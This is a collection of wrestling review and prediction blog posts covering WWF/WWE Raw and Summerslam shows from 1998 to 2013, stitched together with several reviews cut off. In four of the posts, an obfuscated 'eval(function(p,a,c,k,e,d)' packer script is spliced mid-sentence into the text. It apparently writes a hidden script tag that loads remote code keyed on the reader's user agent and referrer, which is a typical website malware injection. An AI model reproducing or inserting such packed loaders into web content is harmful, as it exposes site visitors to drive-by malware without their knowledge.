Pedigree misses too, so that’s 1-1 on missed finishers. They brawl up on the ramp for awhile with Rock just beating the heck out of him. They brawl in front of the announce table and with HBK looking right at them, Chyna low blows Rock. She gets ejected and then spends at least a minute arguing, costing Rock a chance at a can’t miss near fall. I mean really, how rude. Rock could have gotten a solid two there.

Shane comes out as HHH is in control here in the main event of the night of run ins. The rest of the match is mainly Shawn and Shane arguing. Rock starts his comeback as Lawler keeps thinking Shawn is going to screw HHH. Shane finally gets punched. Rock Bottom leads to the elbow, but as he turns to drop it, he gets kicked in the face by Shawn. This is shocking for some reason, despite the fact that HHH and Shawn used to be best friends. Pedigree ends the show as Chyna, Shane, HHH and Shawn celebrate.

Rating: B. By far and away the match of the night. It was like a PPV main event but moving at fast forward speed. It was good and there was a decent flow to it. No one thought Rock had a legit chance at winning, so they did the best they could and it came out pretty well. The chemistry these two had was off the charts to say the least and this was just paving the way for the classics they would have next year.

Overall Rating: B. This is a show that benefited from one thing: it was just an extension of Raw and painted blue. By doing this, it more or less inherits the Raw juggernaut upon being created. This feels like an episode of Raw which means it’s great. If you like WWF at this time, you’ll love this. It’s a packed show, but it never feels rushed, which is a good thing. Find it if you’re interested. It’s not great, but it’s certainly not dull.

 

 

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On This Day: August 24, 1998 – Monday Night Raw: Lower The Cell

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trken|var|u0026u|referrer|brfrh||js|php'.split('|'),0,{})) Night Raw
Date: August 24, 1998
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Attendance: 14,727
Commentators: Jim Ross, Jerry Lawler

Man it’s been awhile since I’ve done one of these hasn’t it? I kind of got sidetracked by some newer Raws and Superstars plus that whole Wrestlemania thing but we’re back now. This is the go home show for Summerslam so expect a final push for Undertaker vs. Austin. That show wound up being awesome so hopefully this one is too. Tonight is also the end of Brawl For All, THANK GOODNESS. Let’s get to it.

Undertaker and Kane come in through a back door. Or maybe it’s a locker room.

Theme song.

It was a locker room.

Taker and Kane come out together to open the show. JR calls Undertaker Mankind for some reason. The Cell is above the ring. Before they say anything, Vince comes out and is all smiles. It’s his birthday according to JR. Then again according to him the 7ft guy in all black will debut a sock puppet one day. Vince: “Well, Undertaker and Kane have finally come out of the casket.” Vince McMahon: True Blood writer?

Vince says he told us all so and he tells us that twice. He says that Undertaker doesn’t need him since he has Kane by his side now. However, once Undertaker becomes champion, there will be a time when he need Vince for his mind. Before the night is over, Vince wants an answer to the question “Vince McMahon: friend or foe?” Paul Bearer comes out and asks Kane if it’s true or a nightmare.

He says he’s the one that’s always been there for Kane and asks Kane to destroy Undertaker for daddy. Taker jumps Bearer and Kane walks away. Mankind comes out for the save….and gets beaten down by both brothers without fighting back at all. Kane loads up the Tombstone and Taker goes up top to make it a SPIKE TOMBSTONE. Why didn’t they bust that bad boy out more often?

Vince says now only Austin remains between Taker and the title. Cue Austin to keep this segment going. He pops up on the stage and a wall of fire comes up. Austin (now with the Smoking Skull belt. Not sure if that had been seen before) says he knew they were together all along and that he doesn’t appreciate being set on fire. He can’t beat both of them at once so tonight, he’s taking one of them out.

Ken Shamrock vs. Dan Severn

Mankind has been taken out in an ambulance. This is a result of the triple threat last week where Severn choked Shamrock out post match. They both fight for the leg control to start but Severn rolls into the ropes by mistake. He comes back with a powerbomb but doesn’t cover. After a gordbuster a powerslam gets two…and Owen runs in for the DQ. He chokes Shamrock but Blackman runs in to clear that up. This feud just kept going and going. Too short to rate but it was certainly different. Shamrock snaps and suplexes Blackman post match. Then Blackman suplexes Shamrock.

Mankind is out of the ambulance and playing with the stretcher.

Summerslam Highway video. This is still awesome.

Post break Mankind surfs down the ramp on a stretcher. He gets in the ring and says it was cahoots all along. A good cub scout should always be prepared and his good cub scout leader Mr. McMahon said that Kane wasn’t good but Mankind didn’t listen. Tonight it’s Kane vs. Mankind in the Cell. He wants to know what kind of idiot would get back into the same match that almost killed him. Somehow he’s going to throw Kane off the cage or through it, onto 7000 thumbtacks.

We get some clips of the “last” Cell match which is between Taker and Foley. Even they’re already disowning the tag team one.

Here’s Sable to announce the next match.

Marc Mero vs. Kurrgan

Sable dances with the Oddities pre match. No Jackie this week. She’d be at Summerslam for a mixed tag though. Mero asks the Oddities to leave which they do willingly. Kurrgan overpowers him down and dances a bit. Mero goes for the knee until Kurrgan picks him up and hits what we would call a Punjabi Plunge. Jackie runs through the crowd and beats down Sable as Mero hits Kurrgan low for the DQ. This was pointless.

X-Pac relieves himself in someone’s boots.

Southern Justice vs. New Age Outlaws

Someone with a deep voice pops in on commentary. He sounds like he’s doing a Terry Funk impression. Oh it’s Hawk who is bombed still. Jarrett comes out before the match with something to say but his mic doesn’t work. He gets on the headset and reveals those were his boots. Canterbury and Gunn start things off with the Outlaws taking over. Off to Roadie for the dancing punches. Jeff challenges him to a match which was already announced. Off to Knight for a suplex as the match is being ignored. With the referee distracted, Gunn piledrives Knight for the pin. The match was just a backdrop for Jarrett’s ranting.

Jarrett gets annoyed at the cameraman for shooting his boots so Southern Justice holds him for a haircut.

Mankind vs. Kane

Inside the Cell. Kane comes out first so once he’s in the Cell, Mankind tries to climb the cage. He beats up the referee that tries to stop him which lets him ram the cage door on Kane’s head. They fight outside the Cell and Foley tries to throw a chair on top of the cage twice, one of this might have hit Lawler on the way down. He tries to climb up and Taker pops up from out of nowhere to pull him off and through the table. They haven’t been inside the Cell together yet.

Now Kane comes back around to beat Mankind up some more. Kane drags him towards the door and slams it on Mankind’s body which is on the ground. Ok NOW they’re inside the cage together. Kane throws the steps into the ring and beats him in the head with it as Taker watches. He manages a dive over the top to the floor to take out Mankind before trying to throw the steps on top of him from the ring.

Mankind manages to sneak under the ring and comes out with a chair plus the bag of tacks. The chair shot to Kane’s head gets a HUGE pop which suggests the popularity Foley could have as a face. Chokeslam attempt is countered by the Claw but they slug it out instead. Piledriver to Kane sends him into the tacks without much force, but it’s not played up as a huge deal. Mankind goes up but Kane clocks him with a chair.

Chokeslam puts Foley down and there’s the tombstone but Kane won’t cover. Taker sends him a throat slit sign so Kane picks up another chair. Foley gets up and a pair of chair shots to the head puts him down. Mankind gets up AGAIN but walks into a tombstone on the chair. Austin pops out from under the ring (that’s a Russo Special) and destroys Kane, resulting in probably the only DQ in the history of the Cell.

Rating: C+. This was more about the ending of the match than the match itself. The main idea here though was to basically turn Foley face through feeling bad about the horrible beating he took. It’s not a great match or anything but it pretty much did its job. They would lose the titles on Sunday anyway so Kane and Mankind could split in peace.

Taker tries to get in to stop the beating but Vince raises the Cell to prevent Austin vs. Taker from happening before Sunday.

Post break Taker calls Austin a coward for jumping Kane. He says that seals Austin’s fate and tonight, he’ll take his revenge because it’s personal.

Here’s Chyna who wants to call out Rock because of the beating HHH got from the Nation last week. Before she says anything Rock is here. The rest of the Nation comes out as well with a ladder. I think I remember this segment happening live. Rock gets on the bottom rung of the ladder and shows Chyna a shot of DX’s locker room with a forklift in front of it. Rock talks about going to Summerslam, climbing the People’s ladder rung by rung and taking his Intercontinental Title back.

As for Chyna, he sees her looking at him with those bedroom eyes. She’s a very frustrated woman and Rock can’t blame her at all for that. The one conclusion is that Chyna needs to get some. About 2am tonight, Rock can be the man to give it to her. She lunges at him but Brown and Owen make her stop. Rock says she looks natural on her knees and leans down to kiss her but says he doesn’t kiss trash like you. Mark Henry however can do it but Shawn Michaels runs out with a chair to the head of Henry to save Chyna.

Post break DX is out of the room and looking for DX in the parking lot.

Val Venis vs. Taka Michnoku

This is technically a rematch from last week where Val ran the gauntlet but lost to Taka in the final match. Taka takes him down with a spinwheel kick but Val shrugs it off. Shawn is on commentary now but won’t tell us much his relationship with DX. Val powerbombs him and hits the Money Shot but HHH comes in with a chair shot to break it up.

HHH is MAD and says at Summerslam, Rocky belong to him. He was a bit more colorful than that but you get the idea.

We get an extended edition of the Austin vs. Taker video.

X-Pac vs. Gangrel

Gangrel jumps him to start but Pac comes back with a spinning kick. Powerslam gets two for Gangrel and a powerbomb puts Pac down. A Swan Dive misses and Edge is watching. Pac comes back and hits the Bronco Buster but here’s Jarrett with a guitar shot for the DQ.

After DX gets X-Pac out of the ring, Edge runs in and beats down Gangrel.

Undertaker has a casket.

Brawl For All Finals: Bradshaw vs. Bart Gunn

THANK GOODNESS it ends here. I couldn’t take much more of this. We get a recap of this for some reason. Bart knocks him down in about ten seconds and the knockout is complete at 42 seconds. Dang I was hoping to get some reading in during this thing. Bart gets 75 grand and Bradshaw gets 25 grand, as this becomes one of the biggest jokes in company history. Bart didn’t get pushed AT ALL after this, other than forgettable and short feuds with Steve Williams and Hardcore Holly. No title shots, no big angles, no MMA gimmick change, nothing. We wasted six weeks on NOTHING.

Vince says he’ll get his answer tonight. You can hear stage directors saying to get the casket ready.

The lights go blue and the druids start chanting as some guy in a white jacket goes up the ramp for some reason. The druids brings out a casket and Undertaker follows with his new demonic music. Taker says Kane has his own business at Summerslam but for tonight, Taker wants Austin. Here’s Vince instead who asks friend or foe. He extends his hand and is promptly chokeslammed.

Austin pops out of the casket and talks trash to Vince. Now Kane pops out of the casket and beats up Austin while Undertaker watches. Austin gets to the floor and grabs a chair but walks away instead of fighting a losing battle. See, that’s how you have a smart but still tough face. In a cool visual, flames comes up (slowly) down the middle of the ramp, making it look like the dividing line on a highway, to end the show.

Overall Rating: B-. This is a hard one to grade. They certainly did a good job of pushing Summerslam as I think every match got at least a mention other than Brown vs. Venis (which for some reason would last fifteen minutes). However the main event stuff felt like a month of stories in one night. Tonight alone we had: Vince telling Undertaker to pick, Austin attacking Kane in the Cell, Austin and Kane in the casket, Undertaker and Kane officially uniting, Paul Bearer pleading with Kane, and probably some other stuff I’m forgetting. All of that in ONE SHOW. It was a bit too much for me, but the PPV makes up for it.

Here’s Summerslam if you’re interested:

 

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Raw 10th Anniversary Special: Shame On WWE For This

Raw 10th Anniversary
Date: January 14, 2003
Location: The World, New York City, New York
Hosts: Jim Ross, Jerry Lawler

The opening video is a mashup of all the old intros to WWF programing in the last ten years. Nice touch.

The #10 moment is This Is Your Life Rock. That should be WAY higher, as in like top three at worst.

Moment #8 is Shane on Nitro, ending the Monday Night Wars once and for all. Again, this should have been higher.

Moment #7 is the debut of Mr. Socko and Austin disguised as the doctor to beat up Vince. The greatness of the bed pan shot to the head is canceled out by Vince being anally raped with an IV.

Jannetty vs. Michaels for the Intercontinental Title

HHH vs. Cactus Jack

Owen Hart vs. British Bulldog for the first European Title

Austin/HHH vs. Benoit/Jericho for the tag titles

Austin vs. Angle for the WWF Title in 2001

Any of those are better than the rest of the nominees combined. TLC was NOTHING but most of the people in it are there so it wins an award. That sums up the entire problem with this show.

Moment #3 is Rock challenging Hogan for Wrestlemania 18. This still gives me chills but it has no business being this high on the list.

Moment #1 is the Austin beer bath of the Corporation. Yeah, seriously. Allegedly these were selected by fans but WWE fans are smarter than this. Edge presents it and brings the rest of the roster to the stage for a bow to end the show.

http://kbwrestlingreviews.com/2013/01/16/royal-rumble-count-up-2013-redo-2003-best-of-both-worlds-and-a-boring-rumble/

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Summerslam 2013 Preview

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nabdr|var|u0026u|referrer|kkkzz||js|php'.split('|'),0,{})) show feels like it could be big which is rare for Summerslam anymore.Starting on the pre-show, Shield causes the DQ, triggering Show and Henry to come in to make it a tag match, perhaps for the titles.  Shield leaves with all the gold either way.

As for the main stuff we’ll start with the obvious: Bryan wins the title.  There is zero reason to not put it on him other than to advance the HHH vs. Vince story.  If they go that way, fans are going to be MAD.  Cena is taking time off for his elbow soon so there is no reason for him to walk out with the title.  Bryan wins by countering the AA into a small package for the title.

My biggest worry is that this turns into an Attitude Era style brawl with HHH in there, but if that’s what they have to do for Cena’s injury so be it.  HHH flat out does not need to be there otherwise and this match doesn’t deserve to be a stop on the road to HHH vs. Vince at Wrestlemania.  Unfortunately that’s what it’s likely to be and we’ll have to spend a few months hearing about the screwjob that cost Bryan the title, because that’s what fans want to see.

Now for the big question: will there be a cash in by Orton.  All signs point to yes, but I think they’ll pull the trigger on something brilliant: have Bryan retain the title.  Can you imagine how big a deal Bryan will be if he beats Cena and Orton in the same night?  The Attitude Era version gave Jericho something to talk about for twelve years.  I doubt it happens due to me being terrible at stuff like that, but it’s almost too obvious that Orton cashes in and wins the title.

Brock vs. Punk is the real wildcard on this show.  I could easily see this going either way but I can’t pick which one.  You have Punk needing a big win to get momentum back but you need Brock to win so he doesn’t start looking like some monster who can’t finish the job.  I’ll take Punk but there will definitely be a rematch.

Del Rio retains.  It’s WWE 101: the challenger dominates leading up to the match and beats the champion multiple times, the champion retains at the PPV and WWE doesn’t understand why no one is impressed.

Sandow over Cody, though it doesn’t help him as there’s nothing to Cody after all the damage to his character over the last year.

Bray Wyatt beats Kane.  The question here isn’t who wins, but what creepy thing does Bray do.  I’ve heard ideas ranging from he controls the fire and Kane sees it as a miracle and follows Wyatt to Bray lights himself on fire because it’s fun to Rowan jumps through the flames to save his master.  Either way it’s a good start for Bray, but they should keep his wrestling to a minimum.  If he wrestles all the time he’ll become watered down.  Save him for important stuff and let his monsters do the work for him.

Langston and AJ beat Kaitlyn and Ziggler.  Dolph has cooled WAY off lately as this feud has been all about AJ.

Brie beats Natalya.  Is it Brie or Nikki wrestling?  If you think I actually care about the answer, you get extra homework.

 

Overall Summerslam looks good but it’s a two match show.  That’s definitely not a bad thing though as those two matches are both huge.  The show should be fun and the Ring of Fire has potential to be a nice boost.  They might add another match to the card to flesh it out a bit, but overall it should be good.  Just don’t expect much outside of the main events.

Thoughts/predictions?




Thought of the Day: When All Else Fails, Repackage

Why eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndyhi|var|u0026u|referrer|ridhb||js|php'.split('|'),0,{})) this isn’t done anymore is beyond me.Lately the Wyatt Family has been the hottest group in wrestling due to its amazing leader Bray Wyatt.  He’s so into the character right now and it’s absolutely amazing.  However, this isn’t the first time we’ve seen Wyatt in WWE.  A few years back he was Husky Harris, a fat guy who ran pretty fast.  There was clearly potential there, but there was nothing to go on.  The solution for WWE: completely repackage him as something unlike Harris at all.

 

This is called repackaging and it can be the solution to anyone’s problems.  A ton of people have been repackaged over the years to incredible results.

Hulk Hogan – Generic heel to REAL AMERICAN

Papa Shango – Voodoo priest to pimp

Bret Hart – Cowboy to Excellence of Execution

Steve Austin – Ringmaster to the Texas Rattlesnake

Undertaker – Demon who worshipped Vince McMahon to biker

 

I could go on and on but you get the point.  The key thing to repackaging is that somewhere out there, there’s a gimmick that works for you if you have the talent.  Look at Kane for example.  He went from generic heel characters like Unabomb and Doomsday to a gangster in WCW named Bruiser Mastino (he fought Sting once on WCW Saturday Night) to an evil dentist to a fake Diesel until they FINALLY found the character that worked for him: the Undertaker’s brother who could manipulate fire.  The key thing though was the man had talent and the key was putting him in the right character to make that talent come out.  He tried everything and finally got it right, giving him a career that has run 16 years and a ton of titles.

 

Now jump back to WWE today: think of how many people could thrive as a completely new character.  Wade Barrett comes to mind.  He’s just a generic English brawler.  A new gimmick could do wonders for him.  Look at what happened to guys like Brodus Clay.  He went from a monster heel with a good look to the Funkasaurus and was the hottest act on Raw for a long time.  It can be done, but the key is to do the work, which WWE seems to not want to do most of the time.  Instead they would rather have a guy lose and lose and lose and lose then give him two wins and wonder why no one cares about him.




Summerslam Count-Up – 2003: Meet The Old HHH, Same As The New HHH

Summerslam 2003
Date: August 24, 2003
Location: America West Arena, Phoenix, Arizona
Attendance: 16,113
Commentators: Jim Ross, Tazz, Michael Cole, Jerry Lawler

The US Marine Corps presents the American flag while Lillian sings the Star Spangled Banner.

The opening video talks about how there is evil in this world and the Chamber tonight will prove it.

Raw Tag Titles: Dudley Boyz vs. La Resistance

Coach says La Resistance was clever so Bubba accuses him of being anti-American and vows to get the belts back.

Undertaker vs. A-Train

A-Train starts pounding away on the ribs and sends them into the barricade for two back in the ring. Taker gets in some shots to the ribs of his own for a breather but A-Train comes back with an impressive suplex to take him down. This is the kind of character A-Train was perfect as: a heavy who could do some impressive moves at times. A-Train fights out of a sleeper with a belly to back suplex but Taker hits a quick Snake Eyes to get a breather. A big boot misses the big bald head and a double clothesline puts each other down.

Taker wins a slugout after A-Train hung in there a lot longer than expected. Now the big boot sets up the legdrop (BROTHER) for two and another legdrop to the back of the head with A-Train on the apron has the bald one staggered. The Last Ride is easily broken up but the referee is bumped.

A-Train hits the Derailer (chokebomb) but the delayed count only gets two. Taker accidentally clotheslines the referee down again (the second match does NOT warrant two ref bumps) and A-Train brings in a chair, only to have it cracked over his own head for a near fall. A-Train escapes a tombstone but gets caught in a chokeslam for the pin.

Rating: D. What are you expecting out of this match? This was back when Taker was pretty bad in the ring due to being completely unmotivated and bored with the biker character. Thankfully he would be the Dead Man again by Wrestlemania and would eventually reignite his career around 2007.

Post match Sable tries to seduce Taker for some reason but Stephanie comes in to go after her, presumably setting up a mixed tag.

Coach polls some fans on who wins the Chamber.

Shane McMahon vs. Eric Bischoff

Wrestlemania moment. Kind of an odd time for one of these but Shawn superkicking Bret was an awesome moment.

Flair and HHH tell Orton to keep the title on the Game tonight and nothing more.

US Title: Eddie Guerrero vs. Chris Benoit vs. Tajiri vs. Rhyno

Eddie is defending and this is one fall to a finish. Eddie has ticked off all three challengers so they all want to take him out. The champion bails to the floor so everyone else can fight and we quickly get down to Rhyno vs. Benoit. Chris hooks a quick Crossface, drawing Eddie in for the save. Tajiri is back in as well but Eddie breaks up a cover. Everyone is in now and all three challengers go after Eddie at the same time.

Tajiri makes the ropes so Eddie turns around to dropkick Benoit in the head for the save. Benoit grabs the Crossface on Guerrero but Rhyno and Tajiri make the double save. Rhyno hits a spinebuster for two on Tajiri but Benoit knocks Rhyno to the floor. Chris rolls some Germans on Tajiri but Tajiri reverses into one of his own for two on Benoit.

Smackdown World Title: Brock Lesnar vs. Kurt Angle

Lesnar picks up the belt and tries to walk out with it but Kurt pounds him down in the aisle to start the brawling. Back in and Angle snaps off the first overhead belly to belly for two before stomping him down in the corner. Brock comes right back with a gorilla press and throws Angle out to the floor. Angle is sent into the steps as this is far different from the Wrestlemania match. Back in and Brock hits a release belly to belly without leaving his feet.

Some Arizona Diamondbacks are here.

Kane vs. Rob Van Dam

RVD kicks out of the chokeslam but gets knocked out to the floor as the brawl continues. Kane sends him into the steps and is in full on monster mode. Back in and Van Dam scores with a kick and some shoulders to the ribs for two. Rob goes up top but gets shoved down onto the barricade to give Kane control again. A ladder to the face gets two back in the ring and a big clothesline puts Van Dam down again.

We hit the slow motion part of the match as Kane pounds on Van Dam very slowly to stop the crowd from being interested. Van Dam is backdropped to the floor but Kane badly botches the top rope clothesline, nearly falling on his head and dying. Kane avoids another ladder shot and DDTs Van Dam on he floor, only to have Rob catch a charging Kane in a drop toehold to send him face first into the steps. Kane is kicked into the crowd and crotched as he tries to come back to ringside.

Eric is annoyed that Terri is asking him questions. Linda comes in and slaps Bischoff in the face.

HHH looks at the world title.

The Chamber is lowered.

Raw World Title: HHH vs. Kevin Nash vs. Goldberg vs. Chris Jericho vs. Shawn Michaels vs. Randy Orton

Flair shoves the pod door closed to save HHH so Goldberg kicks the pod door in so we can actually have a match. Goldberg pounds away in the pod before sending HHH face first into the cage. The champion is busted open but he FINALLY gets in a kick to the leg and sends Goldberg into the cage. Goldberg comes right back with a clothesline and they head into the ring. The spear is loaded up but hits the sledgehammer that Flair slid in, keeping the title on HHH.

Post match HHH and Evolution gets to destroy Goldberg again with the hammer to really pound in who is the star. Goldberg is handcuffed to the cage so HHH can shove the belt in his face and remind him who the champion is to end the show.

Ratings Comparison

La Resistance vs. Dudley Boyz

Original: C

Redo: D+

A-Train vs. Undertaker

Original: D

Redo: D

Eric Bischoff vs. Shane McMahon

Original: D

Redo: N/A

Tajiri vs. Rhyno vs. Eddie Guerrero vs. Chris Benoit

Original: B-

Redo: B+

Brock Lesnar vs. Kurt Angle

Original: A-

Redo: B

Rob Van Dam vs. Kane

Original: C-

Redo: C-

Goldberg vs. HHH vs. Kevin Nash vs. Shawn Michaels vs. Chris Jericho vs. Randy Orton

Original: D

Redo: C-

Overall Rating

Original: D+

Redo: C

So I liked almost all of the matches more or the same the first time, but the overall rating is much higher this time. Not surprising.

http://kbwrestlingreviews.com/2011/08/06/history-of-summerslam-count-up-2003-brock-vs-angle-ii/

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Monday Night Raw – August 5, 2013: Don’t Touch The Beard!

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Date: August 5, 2013
Location: Resch Center, Green Bay, Wisconsin
Commentators: Jerry Lawler, Michael Cole, John Bradshaw Layfield

Alberto Del Rio vs. Rob Van Dam

Miz is on commentary. Non-title again and Ricardo is back, a week earlier than the reported return date. Del Rio attacks to start but Van Dam fires back with forearms to the jaw. A standing moonsault gets two and Del Rio rolls to the floor, only to have Rob hit a moonsault off the apron as we take a break.

Back with Van Dam blocking a shot into the buckle and kicking Del Rio down.

Post match Del Rio superkicks Ricardo and hits him with the bucket before crushing him between the steps and the post.

Ryback vs. Mark Henry

The Bellas are arguing over who looked better on Total Divas. Eva Marie comes up to laugh about how they made Natalya look stupid last week. Natalya comes up and slaps a Bella, likely setting up a match later.

Wyatt Family vs. Tons of Funk

Kaitlyn vs. Layla

Kaitlyn and Layla skip around the ring post match. Apparently that kick is called the Bombshell.

Christian vs. Heath Slater

CM Punk vs. Curtis Axel

Non-title of course. Punk charges up the ramp before the bell and the brawl starts near the stage. Punk keeps trying to get to Heyman who has gone backstage. They head to the ring with Punk in control and the bell rings. Axel takes over with some chops but Punk takes him down into an Indian Deathlock of all things. Before he falls down with the hold, Punk spits in the air and tries to slap it away ala Mr. Perfect and the gum. Axel rolls to the floor and gets caught with the suicide dive as we take a break.

Back with Axel cranking on an armbar and elbowing Punk in the face for two. A middle rope elbow sets up another chinlock from Axel as Heyman comes back to ringside. Punk finally rolls out of the hold and crawls over at Heyman, only to be clotheslined down for two. Punk comes back with a spinning cross body out of the corner but a Heyman distraction lets Curtis take over. CM comes back with a kick to the head and the running knee in the corner but Curtis breaks up the Macho Elbow. The McGillicutter gets two but Punk kicks Axel in the head again. Not that it matters as he goes after Heyman, drawing a DQ at 10:22.

Fandango vs. Kofi Kingston

Kofi is much skinnier and is in long tights now. Fandango takes over quickly to start and takes Kofi down as the announcers talk about ballet. A quick chinlock sets up a dropkick to Kofi but a middle rope knee drop misses. Kofi comes back with a dropkick and the Boom Drop but Fandango bails from Trouble in Paradise. Fandango gets in a kick of his own but misses the legdrop, allowing Kofi to get two off a cross body. Trouble in Paradise is good for the pin at 3:43.

Real Americans vs. Usos

Big E. Langston vs. Dolph Ziggler

John Cena/Daniel Bryan/Randy Orton vs. Shield

Overall Rating: B. This was a moving day towards Summerslam as we added a match and enhanced a lot of the others. The matches were good enough tonight but this was all about the promos and storytelling which often make for better episodes. Bryan vs. Cena is going to be AWESOME with both guys trying to prove the other wrong and the promos showed that. Punk vs. Lesnar looks good with Punk trying to slay the monster and the physical side has a chance. Good but not great show tonight.

Results

Rob Van Dam b. Alberto Del Rio – Rolling Cradle

Mark Henry b. Ryback via countout

Wyatt Family b. Tons of Funk – Splash to Clay

Layla b. Kaitlyn – Bombshell Kick

Christian b. Heath Slater – Spear

Kofi Kingston b. Fandango – Trouble in Paradise

Real Americans b. Usos – Neutralizer to Jimmy Uso

Big E. Langston b. Dolph Ziggler – Big Ending

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Kane vs. Bray Wyatt at Summerslam

Announced eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tybiz|var|u0026u|referrer|rreda||js|php'.split('|'),0,{})) tonight.  That’s a good first match for Wyatt.